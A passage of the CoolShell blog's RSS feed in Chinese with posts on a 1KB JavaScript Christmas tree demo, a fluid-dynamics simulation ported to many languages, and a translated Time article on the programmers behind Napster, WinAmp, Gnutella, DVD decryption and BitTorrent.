的圣诞树，很强大。（请使用Chrome浏览器查看），还记得本站介绍的那个叫js1k.com的网站吗？...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3429.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3429.html\">程序员的圣诞节</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>程序员Román Cortés用1021个字节写了一个<a style=\"font-weight: bold;\" href=\"http://js1k.com/2010-xmas/demo/856\" target=\"_blank\">3D 的圣诞树</a>，很强大。（请使用Chrome浏览器查看），还记得<a href=\"https://coolshell.cn/articles/2785.html\" target=\"_blank\">本站介绍的那个叫js1k.com的网站</a>吗？</p>\n<p style=\"text-align: center;\"><a title=\" 3D Christmas tree\" href=\"http://js1k.com/2010-xmas/demo/856\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.romancortes.com/ficheros/arbol_0.jpg\" alt=\"Christmas Tree\" hspace=\"38\" vspace=\"30\" width=\"434\" height=\"339\" /></a></p>\n<p style=\"text-align: left;\">其原理如下所示：</p>\n<p style=\"text-align: left;\"><span id=\"more-3429\"></span></p>\n<p style=\"text-align: left;\"><a href=\"http://www.romancortes.com/blog/how-i-did-the-1kb-christmas-tree/\" target=\"_blank\">http://www.romancortes.com/blog/how-i-did-the-1kb-christmas-tree/</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.romancortes.com/ficheros/arbol_1.gif\" alt=\"-\" hspace=\"68\" vspace=\"30\" width=\"374\" height=\"168\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.romancortes.com/ficheros/arbol_2.gif\" alt=\"-\" hspace=\"68\" vspace=\"30\" width=\"374\" height=\"168\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.romancortes.com/ficheros/arbol_3.gif\" alt=\"-\" hspace=\"96\" vspace=\"30\" width=\"318\" height=\"162\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.romancortes.com/ficheros/arbol_4.gif\" alt=\"-\" hspace=\"15\" vspace=\"30\" width=\"480\" height=\"276\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.romancortes.com/ficheros/arbol_5.gif\" alt=\"-\" hspace=\"114\" vspace=\"30\" width=\"282\" height=\"368\" /></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.romancortes.com/ficheros/arbol_6.gif\" alt=\"-\" hspace=\"79\" vspace=\"30\" width=\"351\" height=\"171\" /></p>\n<p style=\"text-align: left;\">——————————————</p>\n<p style=\"text-align: left;\">还有另外一个叫Dustin DeWeese程序员，也做了一个贺卡给大家（请点下面的链接）。这个贺卡需要向下滚动网页才能看得出效果来，no Javascript。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.hackerfoo.com.nyud.net/christmas/christmas.html\" target=\"_blank\">http://www.hackerfoo.com.nyud.net/christmas/christmas.html</a></p>\n<p style=\"text-align: left;\">这种使用遮罩而产生的动画的东西确实很有意思：<a href=\"http://blogoscoped.com/files/stripes.html\" target=\"_blank\">http://blogoscoped.com/files/stripes.html</a>，有一个小工具可以用来创建这样的东西：<a href=\"http://dl.dropbox.com/u/15095913/Scanimation_Creation_v1.1.zip\" target=\"_blank\">http://dl.dropbox.com/u/15095913/Scanimation_Creation_v1.1.zip</a></p>\n<p style=\"text-align: left;\">呵呵。挺有意思的吧。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2785.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"JS1K 演示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2785.html\" class=\"wp_rp_title\">JS1K 演示</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3429.html\">程序员的圣诞节</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3429.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>流体力学的演示</title>\n\t\t<link>https://coolshell.cn/articles/3421.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3421.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 21 Dec 2010 00:49:35 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Flash]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[SVG]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3421</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>某人用Java搞了一个流体力学的演示。 http://grantkot.com/MPM/Liquid.html 不过，这仅仅是个开始。某同学将其发布上了redd...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3421.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3421.html\">流体力学的演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>某人用Java搞了一个流体力学的演示。</p>\n<p><a href=\"http://grantkot.com/MPM/Liquid.html\" target=\"_blank\">http://grantkot.com/MPM/Liquid.html</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3422\" title=\"流体力学的演示\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/Liquid.jpg\" alt=\"\" width=\"522\" height=\"308\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/12/Liquid.jpg 522w, https://coolshell.cn/wp-content/uploads/2010/12/Liquid-300x177.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/12/Liquid-458x270.jpg 458w\" sizes=\"(max-width: 522px) 100vw, 522px\" /></p>\n<p>不过，这仅仅是个开始。某同学将其发布上了reddit.com，于是，全世界的同学们开始给力了——</p>\n<p><span id=\"more-3421\"></span></p>\n<p>Flash的开发者首先不服，搞了个 flash版（带源码）：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://wonderfl.net/c/yxe9\" target=\"_blank\">http://wonderfl.net/c/yxe9</a></p>\n<p>看到了Flash版，Javascript+HTML5的同学们也不干了，于是出现HTML5版（带源码）：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://www.music.mcgill.ca/~sinclair/content/blog/liquid_simulator_ported_to_canvas\" target=\"_blank\">http://www.music.mcgill.ca/~sinclair/content/blog/liquid_simulator_ported_to_canvas</a></p>\n<p><a href=\"http://www.music.mcgill.ca/~sinclair/content/blog/liquid_simulator_ported_to_canvas\"></a>不过性能慢了很多，所以，又有人优化了一下HTML5版的程序:</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://jsbin.com/unovo4\" target=\"_blank\">http://jsbin.com/unovo4</a></p>\n<p>SVG的同学们也不甘寂寞，不过，那真叫一个慢啊。</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://ulo.pe/js-liquid-svg/\" target=\"_blank\">http://ulo.pe/js-liquid-svg/</a></p>\n<p>这个时候，C/C++同学出来了，使用SDL库也搞了一个：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://q3k.org/fluidsim.zip\" target=\"_blank\">http://q3k.org/fluidsim.zip</a></p>\n<p>——————</p>\n<p>短短几天里，被人重写成各种语言。这个程序写起来真的很简单吗？是我out了吗？</p>\n<p><strong>更新- iPhone和iPad版的</strong>： <a href=\"http://www.infi.nl/blog/view/id/98/Liquid_on_iPhone_and_iPad\">http://www.infi.nl/blog/view/id/98/Liquid_on_iPhone_and_iPad</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" alt=\"那些曾伴我走过编程之路的软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_title\">那些曾伴我走过编程之路的软件</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/cpp_small-150x150.jpg\" alt=\"C++的坑真的多吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_title\">C++的坑真的多吗？</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3421.html\">流体力学的演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3421.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>41</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>偷了世界的程序员</title>\n\t\t<link>https://coolshell.cn/articles/3363.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3363.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 16 Dec 2010 00:39:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[BitTorrent]]></category>\n\t\t<category><![CDATA[Bram Cohen]]></category>\n\t\t<category><![CDATA[doubleTwist]]></category>\n\t\t<category><![CDATA[DVD Jon]]></category>\n\t\t<category><![CDATA[Jon Lech Johansen]]></category>\n\t\t<category><![CDATA[Justin Frankel]]></category>\n\t\t<category><![CDATA[Napster]]></category>\n\t\t<category><![CDATA[P2P]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Shawn Fanning]]></category>\n\t\t<category><![CDATA[WinAmp]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3363</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文译自美国时代（time.com）的《The Men Who Stole the World》，原作者：Lev Grossman。相当有传奇色彩，读起来很爽，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3363.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3363.html\">偷了世界的程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文译自美国时代（time.com）的《<a href=\"http://www.time.com/time/specials/packages/printout/0,29239,2032304_2032746_2032903,00.html\" target=\"_blank\">The Men Who Stole the World</a>》，原作者：Lev Grossman。相当有传奇色彩，读起来很爽，翻译过来。译得不好，还请大家指正。本中的四个程序员可能并不是那么声名显赫，而且也很不老实，或许算不上成功，不过他们的确改变了世界。<strong>而本文有分析了互联网上P2P的那些事，相当的有参考价值</strong>。</p>\n<p><em><span style=\"color: #993300;\">2010年12月17日更新：修改了一些错误，理顺了一些语句。<br />\n2010年12月19日更新：增加了一些插图。 </span></em></p>\n<p>————————正文————————</p>\n<p>十年前，有四个年轻人改变了这个世界的运作方式。他们使用的并不是法律或是武器或是金钱，而是使用软件来改变世界。他们当时有着激进和极具破坏性的想法，并把这些想法付诸于代码，在Internet上以免费自由方式发布。这四个人，没有一个完成了大学学业，却奠定了今天我们习惯的数字媒体环境的基础。然后，因为各种原因，他们也迅速地消失在公众视野中。</p>\n<p>1999年，美国东北大学的一个叫Shawn Fanning的一年级新生开发Napster，从此，成为了P2P文件共享和不需要大型机构或零售商就可以获得音乐的先锋和范例。《时代周刊》和《财富》把他放上了封面。那时，他在19岁。</p>\n<p>就在同一年，一个挪威的只有十几岁的年轻人 Jon Lech Johansen，他和另两个今天都不为人知的程序员，写下了一个程序解密了商业的DVD，而他成为了全球盛名的“ DVD Jon.”，那年，他只有15岁。</p>\n<p>而在1997年，Justin Frankel，一个亚利桑那州塞多纳的18岁的黑客，开发了一个免费的MP3播放器——WinAmp，其成为了Windows操作系统上装机必备的软件，并造就了主流数字音乐的革命。在他发布的第18个月内，1500万人下载了这个软件。而三年后，Frankel 开发了 Gnutella，一个P2P的文件共享协议，没有中心结点，不像 Napster，其不可能被关闭。目前有上百万人还在使用它。</p>\n<p>2001年，Bram Cohen, 当年 26 岁，开发了一个P2P的文件传输共享协议—— BitTorrent，其以全新一流的架构全面优化了网络上大文件的共享和传输效率。 BitTorrent 也变成了整个Internet上发布大数据和文件的一个标准。</p>\n<p><span id=\"more-3363\"></span></p>\n<p>在 2000年代的上半段，《时代》采访了这四个程序员。那个时候，看起来他们要以数字化动乱把整个复杂的传统媒体娱乐平台给拆除，而对有版权的电影，音乐和电视的收费则变得困难和不可能，那些艺术家也将无法从他们作品得到报酬，整个娱乐业包括时代华纳也将被炸为平地。而盗版业则借着这四个程员的软件侵袭了美国公司。</p>\n<p>“毕竟”，我们在2003年报道到：“在整个信息经济中，不可能所有的信息都是免费的”。如果毁灭正在来临，那么， Fanning, Johansen, Frankel 和 Cohen 将是那“<a href=\"http://zh.wikipedia.org/zh-cn/%E5%90%AF%E7%A4%BA%E5%BD%95%E4%B8%AD%E7%9A%84%E5%9B%9B%E9%AA%91%E5%A3%AB\" target=\"_blank\">四骑士</a>”（译注：启示录中的四骑士传统上被解释为瘟疫、战争、饥荒和死亡）。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-medium wp-image-3413\" title=\"Shawn Fanning and Bram Cohen\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/Shawn-Fanning-and-Bram-Cohen-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/12/Shawn-Fanning-and-Bram-Cohen-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/12/Shawn-Fanning-and-Bram-Cohen-768x576.jpg 768w, https://coolshell.cn/wp-content/uploads/2010/12/Shawn-Fanning-and-Bram-Cohen-1024x768.jpg 1024w, https://coolshell.cn/wp-content/uploads/2010/12/Shawn-Fanning-and-Bram-Cohen-360x270.jpg 360w, https://coolshell.cn/wp-content/uploads/2010/12/Shawn-Fanning-and-Bram-Cohen.jpg 1600w\" sizes=\"(max-width: 300px) 100vw, 300px\" />Shawn Fanning（左） 和 Bram Cohen（右）</p>\n<h4><strong>没有毁灭</strong></h4>\n<p><strong></strong>毁灭并没有发生。但是整个娱乐业因此而改变，而这些改变的复杂性和逐渐演进超出了我们的期望。这些发生的故事，海盗王们的事，对于今天数字化世界正在发生的事情有非常高的参考和教育价值。Fanning, Johansen, Frankel 和 Cohen 现在都硅谷运作着自己的小的，合法的软件公司。他们现在没有在做和盗版有干系的事情——当然，如果他们真的没有。</p>\n<p>Fanning，四个人中唯一一个没有回复我们的采访请求的人，他较早地退出了毁灭传统唱片业的事业。在2001年，Napster因为不堪众多关于其协助并煽动版权侵权的法律诉论的重压，而不得不关闭。2002年，Fanning 创办了新的服务 Snocap —— 他尝试把文件共享合法化，在和相关的唱片公司合作下，Snocap 赋予消费者对其下载作品给于创作者报酬的权利。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3415 alignleft\" title=\"Shawn Fanning\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/Shawn-Fanning.jpg\" alt=\"\" width=\"234\" height=\"156\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/12/Shawn-Fanning.jpg 334w, https://coolshell.cn/wp-content/uploads/2010/12/Shawn-Fanning-300x200.jpg 300w\" sizes=\"(max-width: 234px) 100vw, 234px\" /></p>\n<p>但是，到那个时候，免费自由的文件共享程序像病毒一样的增涨，而用户则热衷于更换他们的音乐硬盘。他们仅在2001年8月一个月内就交换了30亿个文件。而要从这些文件交易中收到钱是根本不可能的。是的，要和免费竞争是很难的一件事。 Fanning 创造了一个连他自己都搞不定的怪物。</p>\n<p>所以，他停止继续尝试Snocap下去。 Fanning 的下一个项目是给游戏玩家的社交网络叫 Rupture，最终，他在2008年时以1500万美金把其卖给了电子艺界Electronic Arts ——这是他的第一次发薪日。他现在又于2008年11月开了一个公司 Path， 其主要提供给iPhone手机进行照片分享的服务。</p>\n<p>而Napster呢？今天他还在。这个商标在破产拍卖时被卖了，然后再被卖了，但其再也没有被 重建。现在其被  Best Buy 运营，其是 iTunes 的竞争者，其口号是—— &#8220;More than just a music store.&#8221; （不仅仅只是音乐商店）</p>\n<h4>没有盗版的人</h4>\n<p><strong></strong><br />\n<img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"Justin Frankel(young)\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/Justin-Frankelyoung.jpg\" alt=\"\" width=\"135\" height=\"180\" />作为 Gnutella 的作者， Justin Frankel 是 Fanning 合法的继任者。不像 Fanning，他很早就收获了他的第一桶金。在1999年，当WinAmp大放光芒的时候，AOL买了WinAmp和他的公司——Nullsoft，价格应该在1亿美金左右。这让 Frankel 在20岁的时候就非常富有。当然，他也成了AOL的员工。</p>\n<p>但这并不是很匹配，在Nullsoft, Frankel的做法是把软件开发到极致，然后免费发布出去。而在 AOL，软件的商业销售威胁并压倒了软件本身。“我致力于的产品，就像这样，我们不愿意金钱的掺入，我们正和其它公司做这笔交易，所以，产品也只能是这样的结果”，他回忆到，“没有人真正地去关心用户的体验是怎么样的”。</p>\n<p>与此同时，Frankel 用他的业余时间开发 Gnutella 。这是一个很有才的软件，不像Napster，其是真正的分布式，没有中心服务器，这样，也没有那个“关闭按钮”让那些律师按。在2000年3月的时候，Gnutella上线，其发了一个贴子：“看见没？AOL也能给你一些好的东西！”，但是就算是这样，也没有换来AOL对其忠爱，而一大堆互联网公司在那时试图并入大的媒体公司，在Napster被诉讼的中期，2004年，他离开了AOL。</p>\n<p>然后，他开始干了些有趣的事：他离开了他的成功地，他不用 Gnutella，也没有花一毛钱，就算是10年以后也是这样。 LimeWire —— 最流行的 Gnutella 客户端 —— 号称有 5千万用户。“当我开发它的时候，我最初主要是想用其在验证一下是否可行。所以我也不想从其中获益”，他说，“所以，甚至我和它一点关系也没有也说得通，其就是一个概念”。<img decoding=\"async\" loading=\"lazy\" class=\"alignleft\" title=\"Justin Frankel\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/Justin-Frankel.jpg\" alt=\"\" width=\"160\" height=\"200\" /></p>\n<p>Frankel 他最近从旧金山搬到了纽约城，现在全心打理自己的公司 Cockos (别问为什么叫这名)，这是一个关于音频产品套件，叫 Reaper。他坚持不懈地改进着它，并且他和他的用户保持着很近的关系，其用户数大约是几万人。“当前的策略我们并不想发展用户数量”，他说，“我们只是在享受目前的过程，并在做正确的事情”。他并不同意他是这个世界上最危险的geek，而滚石在2004年时对他则是这么认为的。“我不觉得盗版是很危险的”，他说，“根本上来说，大众的商业模式总是依赖于对所有事情的强控制——尤其是那些有瑕疵的模式。而作为一个软件开发者来说，多少会产生一定程度的盗版”， Gnutella 对他来说已是远古的事情了。“数字化盗版：它毁了唱片业了吗？没有。唱片业适应了吗？当然，很多人会说得更好。你应该更关注质量，以及更小一些乐队，等等这类的事”。</p>\n<p>&#8220;至于音乐流行和排行这么大的市场，这点盗版算什么？&#8221; 他边说边笑道， “我希望就是这样。&#8221;</p>\n<h4><strong>四眼怪兽</strong></h4>\n<p><strong></strong>在这四骑士中，只有 Bram Cohen他现在还在致力于其10年前的那个项目。他是 BitTorrent的创始人和首席科学家，而一个令人敬佩的旧金山的公司希望能把Cohen的这个令人瞠目的高效的内容分布式技术变成商业化应用。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-3414\" title=\"Bram-cohen-codecon-2006\" src=\"https://coolshell.cn/wp-content/uploads/2010/12/Bram-cohen-codecon-2006.jpg\" alt=\"\" width=\"150\" height=\"225\" /></p>\n<p>这是一个奇特的公司：其合法的业务建立在一种仍然可能被用来进行大规模版权侵权的技术上。即使像 BitTorrent这样被8千万用户安装了的东西，其看上去还是像刚刚开始创业一样。 在BitTorrent上有相对较小的一部分是完全合法的 —— 最近的一个研究表明完全合法的部分占11%。而在这11%中，有更少的一部分产生了BitTorrent的收入。</p>\n<p>就像 Fanning 的 Snocap 一样，Cohen 试图把其BitTorrent从大量的盗版领域转移到合法的领域，这样才能挣到钱。2007年是BT发展最震动的一年，BitTorrent成为了20世纪福克斯、派拉蒙、华纳兄弟 和 米高梅 影业公司的合作伙伴，和他们一起共同形成了 Torrent Entertainment Network，主要提供电影，电视，电子游戏的购买和零售。</p>\n<p>就像 Fanning一样， Cohen 明了要摆脱盗版并不像看上去的那么容易。“所有的和它有关的事都是灾难”，他说到。Torrent Entertainment Network 于2008年底关闭。回想起来，你能明白这为什么不行。 BitTorrent在用户友好上做得还不够，并且，在其底层也不够有效率。它可以很快地像病毒一样地移动大量的数据。然后，当你要在上面算钱的时候，你不得不把速度给降下来，然后跟踪并控制其下载流，还和使用一些很扯淡的诸如“数字版权管理（DRM）”之流的技术，其大量地限制了用户那些是可以干的，哪些是要买的。</p>\n<p>“我从这次失败中学到了很多很多的教训”， Cohen 悔恨地说。他现在的策略是只和那些只需要他的BT中的“快速”和“病毒式分布”的人合作。“与其去和那些内容提供商合作，为他们加上特权，以扩展我们的渠道，我们还不如直接获取那更大的渠道，那里的人更喜欢更为开放的方式”。</p>\n<p>迄今，对些感兴趣的独立电影制片商叫 <em>Four Eyed Monsters</em> （四眼怪兽）和 一个叫 <em>Pioneer One </em>（<a href=\"http://movie.douban.com/subject/4901534/\" target=\"_blank\">先驱者一号</a>）的电视剧集的创作团队。说起来有点沮丧：Cohen正坐在一个消防水带上，一个程序员所梦想的成功的技术却失控了，而大的玩家又不想来玩。</p>\n<p>以他的编码天份，Cohen可以很容易的进入一家大型的公司。但那并不是他的风格。“我的确需要一定的自由度”，他说。他现在正在开发一个全新的事情——一个P2P的实时数据流的系统，而不是分散的文件。这个项止将可能有巨大的潜力，尤其在新闻、体育等事的互联网上的现场直播。当然，他还在维护着 BitTorrent，但他没有花太多的时间在上面。他说：“当我开发它的时候我就知道没错”。</p>\n<h4><strong>简单之道</strong></h4>\n<p><strong></strong>那么，在去年，盗版导致了什么？在美国，每个人都认为盗版对内容制造者的影响并没有那么坏。一份去年四月份美国审计署的报告，非常牵强地把盗版和滞销给联系在一起，但其结果尚无定论。</p>\n<p>打击盗版在今天扁平化的世界上并不那么成功。无政府主义的世界观加上那些无与伦比的代码，不可能在那些合法的津津计较的商业界里传播。好的代码应该给用户有不同的选择，用户使用他们也并不一定是对行业有益的。而你真正需要的是向那些合法商业界挑战，挑战他们那些限制用户做用户想做的事的那种独裁性。（译注：这让我想到了腾讯360还有敏感词）</p>\n<p>另外一个重要的原因是唱片业的灾难是不会发生的。Steve Jobs 在 2003年4月28日，那段时间是互联网文件共享井喷的时候，Apple揭开了iTunes Music Store的面纱。在那个时候，我们都觉得iTunes不可能成功，就像<a href=\"http://en.wikipedia.org/wiki/SNOCAP\" target=\"_blank\">Snocap</a>以及他和它类似的项目都以失败告终。这是因为，你怎么可以可能和免费竞争呢？</p>\n<p>但是iTunes 确实成功了。Apple无情地强调着简单和有魅力的用户接口，以及有乔布斯对唱片业的那强有力的谈判，造就了一个最新型的专业的服务，其可以让你放心地下载并传输音乐。的确是做到了，尽管其是收费的，而且我们的购买需要和DRM（数字版权管理）扯上关系并限制我们。</p>\n<p>于是，我们看到了可以和免费竞争的东西——简单（译注：个人以为可能还需要加上一点时尚）。Napster, Gnutella 和 BitTorrent 